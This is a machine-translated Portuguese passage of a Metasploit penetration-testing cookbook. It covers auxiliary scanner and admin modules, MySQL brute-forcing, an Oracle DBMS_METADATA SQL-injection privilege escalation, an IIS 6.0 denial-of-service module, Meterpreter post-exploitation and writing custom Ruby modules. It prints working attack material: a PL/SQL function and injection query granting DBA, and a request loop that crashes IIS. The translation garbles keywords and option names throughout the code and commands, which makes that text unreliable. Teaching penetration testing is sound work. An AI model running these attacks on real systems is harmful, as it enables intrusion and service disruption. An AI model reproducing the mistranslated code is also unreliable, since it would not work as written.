Para começar a usar um módulo auxiliar, teremos que executar os seguintes passos em
nosso msfconsole:

msf > use auxiliar/scanner/http/dir_scanner

msf auxiliar(dir_scanner) > mostrar opções

Opções do módulo:

170
Machine Translated by Google

Capítulo 7

O comando show options listará todos os parâmetros opcionais disponíveis que você pode passar junto
com o módulo do scanner. O mais importante é o parâmetro RHOSTS , que nos ajudará a direcionar um
único computador ou vários computadores em uma rede.

Como funciona...
Vamos discutir um módulo de scanner específico envolvendo algumas entradas extras. O módulo
mysql_login scanner é um módulo de força bruta que verifica a disponibilidade do servidor MySQL no
destino e tenta fazer login no banco de dados por meio de um ataque de força bruta:

msf > use auxiliar/scanner/mysql/mysql_login

msf auxiliar(mysql_login) > mostrar opções

Opções do módulo (auxiliary/scanner/mysql/mysql_login):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

BLANK_SENHAS verdadeiro sim Tente em branco não..

BRUTEFORCE_SPEED 5 sim Quão rápido para..

SENHA não Uma senha específica

PASS_FILE não Arquivo contendo..

RHOSTS sim O endereço de destino.

RELATÓRIO 3306 sim A porta alvo..

STOP_ON_SUCCESS falso sim Pare de adivinhar…

TÓPICOS 1 sim O número de..

NOME DE USUÁRIO não Um usuário específico..

USERPASS_FILE não Arquivo contendo..

USER_FILE não Arquivo contendo..

VERBOSE verdadeiro sim Quer imprimir..

Como você pode ver, existem muitos parâmetros diferentes que podemos passar com este módulo.
Quanto melhor aproveitarmos os poderes de um módulo, maiores serão nossas chances de sucesso
no teste de penetração. Podemos fornecer uma lista completa de nomes de usuários e senhas que o
módulo pode usar e experimentar na máquina de destino.

171
Machine Translated by Google

Trabalhando com módulos para testes de penetração

Vamos fornecer esta informação ao módulo:

msf auxiliar(mysql_login) > definir USER_FILE /users.txt USER_FILE => /users.txt

msf auxiliar(mysql_login) > definir PASS_FILE /pass.txt PASS_FILE => /pass.txt

Agora estamos prontos para usar a força bruta. A última etapa será selecionar o alvo e fornecer o comando
run para executar o módulo:

msf auxiliar(mysql_login) > definir RHOSTS 192.168.56.101


RHOSTS => 192.168.56.101

msf auxiliar(mysql_login) > executar

[*] 192.168.56.101:3306 - Encontrado MySQL remoto versão 5.0.51a

[*] 192.168.56.101:3306 Tentando nome de usuário:'administrador' com senha:''

A saída mostra que o módulo inicia o processo procurando primeiro pela presença do servidor MySQL no
destino. Depois de descobrir, ele começa a tentar as combinações de nomes de usuário e senha fornecidos
a ele por meio do arquivo de texto externo. Essa também é uma das operações modulares do Metasploit
mais utilizadas no cenário atual. Muitos módulos automatizados de força bruta foram desenvolvidos para
quebrar senhas fracas.

Tem mais...
Vamos ver uma maneira rápida e fácil de gerar arquivos de senha usando o Metasploit.
Ter uma lista decente de arquivos de senha pode ser útil durante testes de penetração de força bruta.

Gerando senhas usando "Crunch"


Para qualquer ataque de força bruta, é imperativo que tenhamos uma lista considerável de arquivos
de senha que usaremos nesses tipos de ataques. As listas de senhas podem ser obtidas de recursos on-
line ou o pen-tester tem a opção de usar John The Ripper para gerar uma lista de senhas. Como alternativa,
também é possível usar o utilitário "crunch" do Backtrack para gerar essa lista com base nos caracteres
usados. Você pode encontrar o utilitário "crunch" em /pentest/senhas/crunch. Caso esteja faltando na sua
versão do Backtrack, você pode instalá-lo passando o seguinte comando na janela do terminal:

root@bt: cd /pentest/senhas

root@bt:/ pentest/senhas# apt-get install crunch

172
Machine Translated by Google

Capítulo 7

A sintaxe básica do crunch é a seguinte:

./ crunch <min-len> <max-len> [-f /path/to/charset.lst charset name] [-o wordlist.txt]

[-t [FIXO]@@@@] [-s startblock] [-c número]

Vamos entender a funcionalidade de alguns dos parâmetros úteis do utilitário crunch:

f min-len: Cadeia de comprimento mínimo para começar em

f max-len: string de comprimento máximo para terminar em


f charset: Define o conjunto de caracteres a ser usado

f -b: Number[type: kb/mb/gb] - especifica o tamanho do arquivo de saída

f -f </path/to/charset.lst> <charset-name>: Permite especificar um


conjunto de caracteres do charset.lst

f -o <wordlist.txt>: Define o arquivo para salvar a saída f -t <@*%^>: Isso é

usado para adicionar os textos que certamente aparecerão na senha

Uma documentação completa sobre o utilitário crunch pode ser encontrada no seguinte URL:

http://sourceforge.net/projects/crunch-wordlist/files/crunch wordlist/

Você pode consultar a documentação completa para descobrir como podemos usar esse utilitário para gerar listas
de senhas longas e complexas.

Trabalhando com módulos administrativos auxiliares


Seguindo em frente com nosso experimento de módulo, aprenderemos sobre alguns módulos de administração que
podem ser realmente úteis durante o teste de penetração. Os módulos de administração podem servir a propósitos
diferentes, como procurar um painel de administração ou tentar o login de administrador e assim por diante.
Depende da funcionalidade do módulo. Aqui veremos um módulo auxiliar administrativo simples chamado módulo
mysql_enum .

Preparando-se
O módulo mysql_enum é um módulo utilitário especial para servidores de banco de dados MySQL.
Este módulo fornece uma enumeração simples do servidor de banco de dados MySQL, desde que as
credenciais apropriadas sejam concedidas para se conectar remotamente. Vamos entendê-lo em detalhes
usando o módulo.

173
Machine Translated by Google

Trabalhando com módulos para testes de penetração

Como fazer isso...


Começaremos iniciando o msfconsole e fornecendo o caminho para o módulo auxiliar:

msf > use auxiliar/admin/mysql/mysql_enum

msf auxiliar(mysql_enum) > mostrar opções

Opções do módulo (auxiliary/admin/mysql/mysql_enum):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

SENHA não A senha do..

ASSAR sim O endereço de destino

RELATÓRIO 3306 sim A porta de destino

NOME DE USUÁRIO não O nome de usuário para..

Como você pode ver, o módulo aceita senha, nome de usuário e RHOST como parâmetros. Isso pode
ajudar o módulo a pesquisar primeiro a existência de um banco de dados MySQL e, em seguida, aplicar as
credenciais para tentar o login remoto. Vamos analisar a saída do comando exploit :

msf auxiliar(mysql_enum) > exploit

[*] Parâmetros de configuração: [*]


O modo de auditoria C2 não está ativado [*] [*]

xp_cmdshell está habilitado acesso


remoto está habilitado
[*] permitir atualizações não está ativado
[*] Database Mail XPs não está ativado
[*] Procedimentos de automação antigos não estão ativados
[*] Bancos de dados no servidor: [*]
Nome do banco de dados: mestre

O módulo responde com muitas informações úteis. Ele nos diz que o cmdshell e o acesso remoto foram
ativados em nossa configuração de destino do MySQL. Ele também retorna o nome do banco de dados
que está atualmente em processamento na máquina de destino.

Existem vários módulos semelhantes disponíveis para outros serviços, como MSSQL e Apache.
O processo de trabalho é semelhante para a maioria dos módulos. Lembre-se de usar o comando show
options para certificar-se de que está passando os parâmetros necessários para o módulo.

174
Machine Translated by Google

Capítulo 7

Como funciona...
Esses módulos administrativos auxiliares funcionam por meio de um processo de enumeração simples,
iniciando uma conexão e passando a combinação de nome de usuário e senha. Também pode ser
usado para verificar se o login anônimo é suportado pelo servidor de banco de dados ou não. Também
podemos testar um nome de usuário e senha padrão, como o MySQL usa "scott" e "tiger" como credenciais
de login padrão.

Módulos de injeção SQL e ataque DOS


O Metasploit é amigável tanto para testadores de penetração quanto para hackers. A razão para isso é
que um testador de penetração precisa pensar da perspectiva do hacker para proteger sua rede,
serviços, aplicativos e assim por diante. A injeção SQL e os módulos DOS ajudam os testadores de
penetração a atacar seus próprios serviços para descobrir se eles são suscetíveis a tais ataques. Então,
vamos discutir alguns desses módulos em detalhes.

Preparando-se
O módulo de injeção SQL usa uma vulnerabilidade conhecida no tipo de banco de dados para
explorá-lo e fornecer acesso não autorizado. A vulnerabilidade é conhecida por afetar o Oracle 9i e 10g.
Metasploit contém vários módulos que usam uma exploração conhecida no banco de dados Oracle para
quebrá-los por meio de injeção de consulta. Os módulos podem ser encontrados em modules/auxiliary/sqli/
oracle.

Como fazer isso...


Vamos analisar uma vulnerabilidade oracle denominada vulnerabilidade Oracle DBMS_METADATA XML .
Esta vulnerabilidade aumentará o privilégio de DB_USER para DB_ADMINISTRATOR (Administrador de banco
de dados). Estaremos usando o módulo dbms_metadata_get_xml :

msf auxiliar(dbms_metadata_get_xml) > mostrar opções

Opções do módulo (auxiliary/sqli/oracle/dbms_metadata_get_xml):

Nome Configuração atual Descrição Necessária


---- --------------- -------- -----------

DBPASS TIGER sim A senha para..


DBUSER SCOTT sim O nome de usuário para..

ASSAR sim O host do Oracle.

RELATÓRIO 1521 sim A porta TNS.


SID ORCL sim O sid para autenticar.

SQL GRANT DBA para SCOTT não SQL para executar.

175
Machine Translated by Google

Trabalhando com módulos para testes de penetração

O módulo solicita parâmetros semelhantes aos que vimos até agora. O banco de dados primeiro verifica
o login usando as credenciais de login padrão, ou seja, "scott" e "tiger" como nome de usuário e senha
padrão, respectivamente. Depois que o módulo obtém login como usuário do banco de dados, ele executa a
exploração para escalar o privilégio para o administrador do banco de dados. Vamos executar o módulo como
um teste em nosso alvo.

msf auxiliar(dbms_metadata_get_xml) > definir RHOST 192.168.56.1

msf auxiliar(dbms_metadata_get_xml) > definir SQL SIM

msf auxiliar(dbms_metadata_get_xml) > executar

Na execução bem-sucedida do módulo, o privilégio do usuário será escalado de DB_USER para


DB_ADMINISTRATOR.

O próximo módulo que abordaremos está relacionado ao ataque de negação de serviço (DOS) .
Analisaremos uma vulnerabilidade simples do IIS 6.0 que permite ao invasor travar o servidor enviando
uma solicitação POST contendo mais de 40.000 parâmetros de solicitação. Analisaremos a vulnerabilidade
em breve. Este módulo foi testado em um servidor Windows 2003 sem patch executando o IIS 6.0. O módulo
que usaremos é ms10_065_ii6_asp_dos:

msf > use auxiliar/dos/windows/http/ms10_065_ii6_asp_dos

msf auxiliar(ms10_065_ii6_asp_dos) > mostrar opções

Opções do módulo (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

ASSAR sim O endereço de destino

RELATÓRIO 80 sim A porta de destino

TIPO /page.asp sim URI para solicitar

VHOST não O nome do host virtual para..

msf auxiliar(ms10_065_ii6_asp_dos) > definir RHOST 192.168.56.1

ASSADO => 192.168.56.1

msf auxiliar(ms10_065_ii6_asp_dos) > executar

[*] Atacando http://192.168.56.1:80/page.asp

176
Machine Translated by Google

Capítulo 7

Assim que o módulo for executado usando o comando run, ele começará a atacar o servidor IIS de
destino enviando uma solicitação HTTP na porta 80 com o URI como page.asp. A execução bem-sucedida
do módulo levará a uma negação completa do serviço do servidor IIS.

Como funciona...
Vamos dar uma olhada rápida nas duas vulnerabilidades. A vulnerabilidade do banco de dados
oracle é explorada injetando uma função PL/SQL personalizada que é executada no contexto SYS
e eleva o privilégio do usuário "scott" como administrador.

Considere esta função de exemplo:

CRIAR OU SUBSTITUIR FUNÇÃO "SCOTT"."ATTACK_FUNC" return varchar2 authid current_user as pragma


autónomo_transaction;

COMEÇAR

EXECUTAR IMEDIATO 'GRANT DBA TO SCOTT';


COMPROMETER-SE;

RETORNAR '';
FIM; /

Agora, injetar essa função no procedimento vulnerável levará a uma escalação de privilégio para o
usuário scott.

SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','')
DE duplo;

As linhas de códigos anteriores explicam o processo de injeção. A análise detalhada da


vulnerabilidade no software Oracle está além do escopo do livro.

Agora movendo o módulo de ataque do DOS que explora a vulnerabilidade no servidor IIS 6.0.
O invasor envia uma solicitação POST que inclui mais de 40.000 parâmetros de solicitação e é enviada
na forma de um tipo de codificação application/x-www-form-urlencoded .

Aqui está uma parte de um script que serve ao módulo:

enquanto (1)

começar
conectar

carga útil = "C=A&" * 40000

length = payload.size sploit =

"HEAD #{datastore['URI']} HTTP/1.1\r\n" sploit << "Host: #{datastore['VHOST']

|| rhost}\r\n"

sploit << "Conexão: Fechar\r\n"

sploit << "Tipo de conteúdo: application/x-www-form-urlencoded\r\n"

177
Machine Translated by Google

Trabalhando com módulos para testes de penetração

sploit << "Comprimento do conteúdo:#{comprimento} \r\n\r\n"


sploit << carga útil
sock.put(sploit)

#print_status("Pacote DoS enviado.")


desconectar
resgatar Errno::ECONNRESET

próximo

fim
fim

Como você pode ver, o script gera um tamanho de carga de mais de 40.000. Em seguida, uma conexão é
estabelecida na porta 80 para enviar uma solicitação HTTP ao servidor IIS. Depois que a solicitação for
processada pelo servidor, ela travará e parará de funcionar, a menos que seja reiniciada.

Módulos de pós-exploração
Até agora, trabalhamos muito na fase de pós-exploração usando vários poderes do meterpreter.
No entanto, também temos uma lista dedicada separada de módulos que podem aprimorar nossa experiência
de teste de penetração. Como são módulos pós-exploração, precisaremos de uma sessão ativa com nosso
alvo. Podemos usar qualquer um dos métodos descritos nos capítulos anteriores para obter acesso ao
nosso alvo.

Preparando-se
O módulo post é uma coleção de alguns dos recursos mais interessantes e úteis que você pode usar durante
o teste de penetração. Vamos analisar rapidamente alguns deles aqui. Aqui, estamos usando uma máquina
Windows 7 sem patch como nosso destino com uma sessão ativa do meterpreter.

Como fazer isso...


Você pode localizar os módulos post em modules/post/windows/gather. Vamos começar com um módulo
enum_logged_on_users simples . Este módulo de postagem listará os usuários conectados no momento na
máquina Windows.

Executaremos o módulo por meio de nossa sessão meterpreter ativa. Além disso, lembre-se de escalar
o privilégio usando o comando getsystem para evitar erros durante a execução do módulo.

meterpreter > getsystem


...obteve o sistema (através da técnica 4).

178
Machine Translated by Google

Capítulo 7

meterpreter > execute post/windows/gather/enum_logged_on_users

[*] Correndo contra a sessão 1

Usuários logados atuais


======================

SID Do utilizador

--- ----

S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC\DARKLORD

Usuários logados recentemente


=====================

SID Caminho do perfil

--- ------------

S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-23502 C:\Usuários\DARKLORD
S-1-5-21-235 C:\Usuários\Winuser

A execução bem-sucedida do módulo nos mostra duas tabelas. A primeira tabela reflete o usuário
conectado no momento e a segunda tabela reflete o usuário conectado recentemente. Siga o
caminho correto ao executar os módulos. Usamos o comando run para executar os módulos, pois
estão todos na forma de script Ruby para que o meterpreter possa identificá-lo facilmente.

Tomemos mais um exemplo. Há um módulo de postagem interessante que captura uma


captura de tela da área de trabalho de destino. Este módulo pode ser útil quando temos que
saber se existe algum usuário ativo ou não. O módulo que usaremos é o screen_spy.rb:

meterpreter > execute post/windows/gather/screen_spy

[*] Migrando para explorer.exe pid: 1104

[*] Migração bem-sucedida

[*] Captura de 60 screenshots com um atraso de 5 segundos

179
Machine Translated by Google

Trabalhando com módulos para testes de penetração

Você deve ter notado como os módulos de postagem podem ser fáceis e úteis. No futuro próximo, os
desenvolvedores do Metasploit estarão se concentrando mais nos pós-módulos do que no meterpreter, pois
aprimora muito a funcionalidade do teste de penetração. Portanto, se você deseja contribuir para a comunidade
Metasploit, pode trabalhar nos módulos de postagem.

Como funciona...
Podemos analisar os scripts de enum_logged_on_user.rb e screen_spy.rb em modules/post/windows/
gather. Isso pode nos ajudar a obter informações sobre como esses módulos funcionam.

Compreendendo os fundamentos da construção de módulos


Até agora, vimos a utilidade dos módulos e o poder que eles podem agregar ao framework.
Para dominar o framework, é essencial entender o funcionamento e a construção dos módulos. Isso nos
ajudará a estender rapidamente a estrutura de acordo com nossas necessidades. Nas próximas receitas,
veremos como podemos usar scripts ruby para construir nossos próprios módulos e importá-los para o
framework.

Preparando-se
Para começar a construir nosso próprio módulo, precisaremos de conhecimentos básicos de script
Ruby. Já discutimos o uso e implementação de Ruby em scripts meterpreter. Nesta receita, veremos como
podemos usar Ruby para começar a construir módulos para o framework. O processo é muito semelhante
ao script meterpreter. A diferença está em utilizar um conjunto de linhas pré-definidas que serão necessárias
para que o framework entenda os requisitos e a natureza do módulo. Então, vamos discutir alguns dos
requisitos essenciais para a construção do módulo.

Como fazer isso...


Cada módulo na estrutura está na forma de um script Ruby e está localizado no diretório de módulos.
Teremos que importar algumas das bibliotecas do framework dependendo de nossas necessidades.
Vamos seguir em frente e ver como podemos importar as bibliotecas em nosso script e projetar um
módulo totalmente funcional.

Como funciona...
Vamos começar com alguns dos fundamentos da construção de módulos. Para tornar nosso módulo legível
para o framework, teremos que importar bibliotecas MSF:

requer 'msf/núcleo'

180
Machine Translated by Google

Capítulo 7

Esta é a primeira e principal linha de cada script. Esta linha informa que o módulo incluirá todas as
dependências e funcionalidades do framework Metasploit.

classe Metasploit3 < Msf::Auxiliar

Esta linha define a classe que herda as propriedades da família auxiliar. O módulo auxiliar pode
importar diversas funcionalidades como escaneamento, abertura de conexões, utilização do banco de
dados, etc:

incluir MSF::

A instrução include pode ser usada para incluir uma funcionalidade específica da estrutura em nosso
próprio módulo. Por exemplo, se estivermos construindo um módulo de scanner, podemos incluí-lo como:

include Msf::Exploit::Remote::TCP

Esta linha incluirá a funcionalidade de uma varredura TCP remota no módulo. Esta linha extrairá as
principais bibliotecas do módulo de varredura da biblioteca Metasploit:

def inicializar

super(
'Nome' => 'Scanner de porta TCP',
'Versão' => '$Revisão$',

'Description' => 'Enumerar TCP aberto


Serviços',
'Autor' => [senhor negro],
'Licença' => MSF_LICENSE
)

As próximas linhas de script nos dão uma introdução sobre o módulo como seu nome, versão, autor,
descrição e assim por diante:

opções_cadastrar(

OptString.new('PORTS', [true, "Portas para escanear (por exemplo, 25,80,110-900)", "1-10000"]),

OptInt.new('TIMEOUT', [true, "Tempo limite de conexão do soquete em milissegundos", 1000]),

OptInt.new('CONCURRENCY', [true, "O número de portas simultâneas para


verifique por host", 10]), self.class)

deregister_options('RPORT')

181
Machine Translated by Google

Trabalhando com módulos para testes de penetração

As próximas linhas do script são usadas para inicializar valores para o script. As opções marcadas como
verdadeiras são aquelas essencialmente necessárias para os módulos, enquanto as opções marcadas como não
são opcionais. Estes valores podem ser passados/alterados durante a execução do módulo.

Estas são algumas linhas comuns de script que você encontrará em cada módulo. A análise de scripts integrados é
a melhor maneira de aprender mais sobre a criação de scripts. Existem algumas documentações disponíveis para
a construção de módulos de aprendizagem. A melhor maneira de aprender é dominando o script Ruby e analisando
os módulos existentes. Na próxima receita, analisaremos um módulo completo do zero.

Analisando um módulo existente


Agora que construímos algumas informações sobre a construção de módulos em nossa receita anterior,
nossa próxima etapa será analisar os módulos existentes. É altamente recomendável que você examine os scripts
dos módulos existentes se precisar aprender e se aprofundar no desenvolvimento de módulos e plataformas.

Preparando-se
Analisaremos um módulo ftp simples aqui para mergulhar mais fundo na construção do módulo.

Continuaremos de onde paramos na receita anterior. Já discutimos o modelo básico do módulo na receita
anterior, então aqui começaremos a partir do corpo principal do script.

Como fazer isso...


Estaremos analisando o módulo de acesso anônimo ftp. Você pode encontrar o script principal no seguinte local:
pentest/exploits/framework3/modules/auxiliary/scanner/ ftp/anonymous.rb

Aqui está o script completo para sua referência:

classe Metasploit3 < Msf::Auxiliar

incluir Msf::Explorar::Remoto::FTP incluir


Msf::Auxiliar::Scanner incluir Msf::Auxiliar::Relatório

def inicializar
super(
'Nome' => 'Detecção de acesso FTP anônimo',
'Versão' => '$Revisão: 14774 $',

182
Machine Translated by Google

Capítulo 7

'Description' => 'Detectar acesso anônimo (leitura/gravação) ao servidor FTP.',

'Referências' =>
[
['URL', 'http://en.wikipedia.org/wiki/File_Transfer_
Protocol#Anonymous_FTP'],
],
'Autor' => 'Matteo Cantoni <goony[at]nothink.org>', => MSF_LICENSE
'Licença'

opções_cadastrar(
[
Opção::RPORT(21),
], self.class)
fim

def run_host(target_host)

começar

res = connect_login(verdadeiro, falso)

banner.strip! se estandarte

dir = Rex::Text.rand_text_alpha(8) se res

write_check = send_cmd( ['MKD', dir] , verdadeiro)

if (write_check e write_check =~ /^2/) verdadeiro)


send_cmd( ['RMD', dir] ,

print_status("#{target_host}:#{rport} LEITURA/GRAVAÇÃO anônima (#{banner})") access_type


= "rw" else

print_status("#{target_host}:#{rport} Anônimo LER


(#{banner})")
access_type = "ro" end

report_auth_info( :host =>


target_host, :port => rport, :sname
=> 'ftp', :user => datastore['FTPUSER'],

183
Machine Translated by Google

Trabalhando com módulos para testes de penetração

:pass => datastore['FTPPASS'], :type =>


"password_#{access_type}", :active => true

)
fim

desconectar

resgatar ::Interromper
aumentar $!
resgate ::Rex::ConnectionError, ::IOError
fim

fim
fim

Vamos passar para a próxima seção e analisar o script em detalhes.

Como funciona...
Vamos começar com a análise do corpo do script principal para entender como ele funciona:

def run_host(target_host) begin res =

connect_login(true, false) banner.strip! if banner dir =


Rex::Text.rand_text_alpha(8)

Esta função é usada para iniciar a conexão. A variável res contém o valor booleano verdadeiro ou falso. A
função connect_login é uma função específica usada pelo módulo para estabelecer uma conexão com o host
remoto. Dependendo do sucesso ou falha da conexão, o valor booleano é armazenado em res.

se res

write_check = send_cmd( ['MKD', dir] , verdadeiro)

if (write_check e write_check =~ /^2/)


send_cmd( ['RMD', dir] , true)
print_status("#{target_ host}:#{rport}
LEITURA/GRAVAÇÃO anônima (#{banner})") access_type = "rw"

outro

print_status("#{target_
host}:#{rport} Anônimo access_type="ro"

184
Machine Translated by Google

Capítulo 7

Uma vez estabelecida a conexão, o módulo tenta verificar se o usuário anônimo tem privilégios de leitura/
escrita ou não. A variável write_check verifica se uma operação de gravação é possível ou não. Em seguida, é
verificado se a operação foi bem-sucedida ou não. Dependendo do status do privilégio, uma mensagem é
impressa na tela. Se a operação de gravação falhar, o status será impresso como ro ou somente leitura:

report_auth_info(
:host => target_host, :port =>
rport, :sname => 'ftp', :user =>
datastore['FTPUSER'],

:pass => datastore['FTPPASS'], :type =>


"password_#{access_type}", :active => true

fim

A próxima função é usada para relatar informações de autorização. Ele reflete parâmetros importantes,
como host, porta, usuário, senha e assim por diante. Esses são os valores que aparecem para nós quando
usamos o comando show options , portanto, esses valores dependem do usuário.

Esta foi uma demonstração rápida de como um módulo simples funciona dentro da estrutura.
Você pode alterar os scripts existentes de acordo com suas necessidades. Isso torna a plataforma
extremamente portátil para desenvolvimento. Como já disse, a melhor forma de aprender mais sobre a
construção de módulos é analisando os scripts existentes.

Na próxima receita, veremos como construir nosso próprio módulo e passá-lo para o framework.

Construindo seu próprio módulo de pós-exploração


Agora já cobrimos informações suficientes sobre a construção de módulos. Aqui, veremos um
exemplo de como podemos construir nosso próprio módulo e adicioná-lo ao framework. Construir
módulos pode ser muito útil, pois nos dará o poder de estender o framework dependendo da nossa
necessidade.

Como fazer isso...


Vamos construir um pequeno módulo de pós-exploração que enumerará todos os aplicativos instalados na
máquina de destino. Como é um módulo de pós-exploração, precisaremos de um alvo comprometido para
executar o módulo.

185
Machine Translated by Google

Trabalhando com módulos para testes de penetração

Para começar a construir o módulo, vamos primeiro importar as bibliotecas do framework e incluir as
dependências necessárias:

exigir 'msf/core' exigir 'rex'


exigir 'msf/core/post/windows/
registry'

classe Metasploit3 < Msf::Post


incluem Msf::Post::Windows::Registry

def inicializar(info={})
super( update_info( info,

'Nome' => 'Windows Gather Instalado


Enumeração de aplicativos',
'Descrição' => %q{ Este módulo irá enumerar todos os aplicativos instalados },

'Licença' => MSF_LICENSE, =>


'Plataforma' [ 'janelas' ],
'SessionTypes' => ['meterpreter']
))
fim

O script começa incluindo as bibliotecas principais do Metasploit. Em seguida, construímos a classe que
estende as propriedades dos módulos Msf::Post.

Em seguida, criamos a função initialize que é usada para inicializar e definir as propriedades e a descrição
do módulo. Essa estrutura básica permanece a mesma em quase todos os módulos.
O que deve ser observado aqui é que incluímos bibliotecas 'rex' e 'registry'. Isso facilitará a estrutura
para descobrir nossos requisitos no módulo.

Agora, nosso próximo passo será criar uma tabela que possa exibir nosso resultado extraído. Temos
uma biblioteca especial Rex::Ui::Text que pode ser usada para esta tarefa. Teremos que definir
diferentes colunas:

def app_list tbl =


Rex::Ui::Text::Table.new(
'Cabeçalho' => "Aplicativos Instalados",
'Recuo' => 1,
'Colunas' =>
[
"Nome",

186
Machine Translated by Google

Capítulo 7

"Versão"
])
teclas de aplicativo = [
'HKLM\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Desinstalar',
'HKCU\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Desinstalar',
'HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\
Windows\\CurrentVersion\\Desinstalar',
'HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\
Windows\\CurrentVersion\\Desinstalar',
]
apps = []
appkeys.each do |keyx86| found_keys
= Registry_enumkeys(keyx86) if found_keys found_keys.each
faça |ak|

aplicativos << keyx86 +"\\" + e


fim
fim
fim

O corpo do script começa com a construção da tabela e o fornecimento de diferentes nomes de colunas.
Em seguida, é criada uma matriz separada de locais de registro que será usada para enumerar a lista de
aplicativos. A matriz consistirá em diferentes entradas de registro que contêm informações sobre os
aplicativos instalados na máquina de destino. As informações do aplicativo são mantidas em uma matriz
separada denominada apps.

Em seguida, iniciamos o processo de enumeração executando um loop que examina diferentes locais
de registro armazenados na matriz appskey :

t = []
while(não apps.empty?) 1.upto(16)
faça
t << framework.threads.spawn("Module(#{self.refname})", false, apps.shift) do |k| begin dispnm =
Registry_getvaldata("#{k}","DisplayName") dispversion = Registry_getvaldata("#{k}","DisplayVersion") tbl <<
[dispnm,dispversion] se dispnm e dispversion

resgatar

fim
fim

187
Machine Translated by Google

Trabalhando com módulos para testes de penetração

As próximas linhas do script preenchem a tabela com valores diferentes nas respectivas colunas.
O script usa uma função interna Registry_getvaldata que busca os valores e os adiciona à tabela:

resultados = tbl.to_s
print_line("\n" + resultados + "\n") p =
store_loot("host.applications", "text/plain", sessão, resultados,
"applications.txt", "Aplicativos instalados") print_status("Resultados armazenados em: #{p}")

fim
corrida definitiva

print_status("Enumerando aplicativos instalados no


#{sysinfo['Computador']}") app_list

fim
fim

As últimas linhas do script são usadas para armazenar as informações em um arquivo de texto separado
chamado applications.txt. O arquivo é preenchido usando a função store_loot que armazena a tabela
completa no arquivo de texto.

Por fim, uma saída é exibida na tela informando que o arquivo foi criado e os resultados foram
armazenados nele.

O próximo passo será armazenar o programa completo em um respectivo diretório. Você deve se
certificar de que escolheu o diretório correto para armazenar seu módulo. Isso ajudará a estrutura a
entender claramente a utilidade do módulo e manterá uma hierarquia.
Manter uma hierarquia durante a atualização dos módulos ajudará a manter um controle adequado do que
exatamente o módulo está direcionando. Por exemplo, manter um módulo do Internet Explorer no diretório
modules/exploits/windows/browser nos ajudará a localizar facilmente qualquer módulo de navegador novo ou
existente nesse local.

Para identificar o local de armazenamento do módulo, existem os seguintes pontos que você deve observar:

f Tipo de módulo

f Operação realizada pelo módulo

f Software ou sistema operacional afetado

O Metasploit segue a hierarquia do formato 'generalizado para especializado' para armazenar módulos.
Começa com o tipo de módulos, como um módulo de exploração ou um módulo auxiliar. Em seguida, ele
escolhe um nome generalizado, por exemplo, o nome de um sistema operacional afetado. Em seguida, ele
cria uma funcionalidade mais especializada, por exemplo, o módulo é usado para navegadores. Finalmente, a
nomenclatura mais específica é usada como o nome do navegador que o módulo está direcionando.

188
Machine Translated by Google

Capítulo 7

Vamos considerar nosso módulo. Este módulo é um módulo de pós-exploração usado para enumerar um
sistema operacional Windows e reunir informações sobre o sistema.
Portanto, nosso módulo deve seguir esta convenção para armazenamento.

Portanto, nossa pasta de destino deve ser modules/post/windows/gather/.

Você pode salvar o módulo com o nome desejado e com a extensão a.rb. Vamos salvá-lo como enum_applications.rb.

Como funciona...
Depois de salvar o módulo em seu diretório preferido, o próximo passo será executá-lo e verificar se está funcionando
bem. Já vimos o processo de execução do módulo em receitas anteriores. O nome do módulo é usado para executá-lo
a partir do terminal MSF:

msf> use post/windows/gather/enum_applications


msf post(enum_applications) > mostrar opções

Opções do módulo (post/windows/gather/enum_applcations)

Nome Configuração atual Obrigatório Descrição


SESSÃO sim A sessão..

Este foi um pequeno exemplo de como você pode construir e adicionar seu próprio módulo ao framework.
Você definitivamente precisa de um bom conhecimento de scripts Ruby se quiser construir bons módulos.
Você também pode contribuir para a comunidade Metasploit lançando seu módulo e permitindo que outros se beneficiem
dele.

189
Machine Translated by Google
Machine Translated by Google

Trabalhando com exploits


8
Neste capítulo, abordaremos:

f Explorando a estrutura do módulo

f Mixins de exploração comuns

f Trabalhando com msfvenom

f Convertendo o exploit em um módulo Metasploit

f Portando e testando o novo módulo de exploração f

Fuzzing com Metasploit

f Escrevendo um fuzzer FTP simples do FileZilla

Introdução

Vamos começar este capítulo com uma introdução formal aos exploits. Exploit pode ser um pedaço de
software, um bloco de dados ou uma sequência de comandos que tira proveito de uma vulnerabilidade ou um bug em
outro software para executar instruções intencionadas pelo usuário. Essas instruções intencionadas pelo usuário
podem causar um comportamento incomum no software vulnerável. Os exploits desempenham um papel vital nos
testes de penetração, pois podem fornecer uma entrada fácil no sistema de destino.

Até agora, usamos extensivamente o poder dos exploits para realizar testes de penetração. O ponto a ser observado
aqui é que não podemos usar diretamente nenhuma prova de conceito independente ou código de exploração na
estrutura do Metasploit. Teremos que convertê-lo em um módulo compreensível de estrutura.
O processo é semelhante ao desenvolvimento de módulos auxiliares com alguns campos adicionais. Este
capítulo cobrirá todos os detalhes que você precisa saber enquanto estiver trabalhando com exploits dentro da
estrutura. Não cobriremos os aspectos relacionados ao desenvolvimento de explorações, pois é uma área de
estudo separada. Aqui, usaremos a prova de conceitos de exploits disponível e veremos como ela pode ser adicionada
à estrutura. Também aprenderemos sobre alguns mixins importantes que podem facilitar o processo de conversão de
exploits no módulo Metasploit. No final, abordaremos algumas receitas com foco nos módulos fuzzing. Então, vamos
seguir em frente com as receitas.
Machine Translated by Google

Trabalhando com exploits

Explorando a estrutura do módulo


É muito essencial entender a estrutura do módulo de exploração, pois isso nos ajudará na análise adequada
dos diferentes módulos de exploração. Como o framework Metasploit é um projeto de código aberto, seu
desenvolvimento depende da contribuição da comunidade. Desenvolvedores de todo o mundo convertem provas de
conceitos de vários exploits no módulo Metasploit, para que possa ser usado por todos. Portanto, você também pode
contribuir com a comunidade convertendo explorações recém-descobertas em módulos. Além disso, pode haver
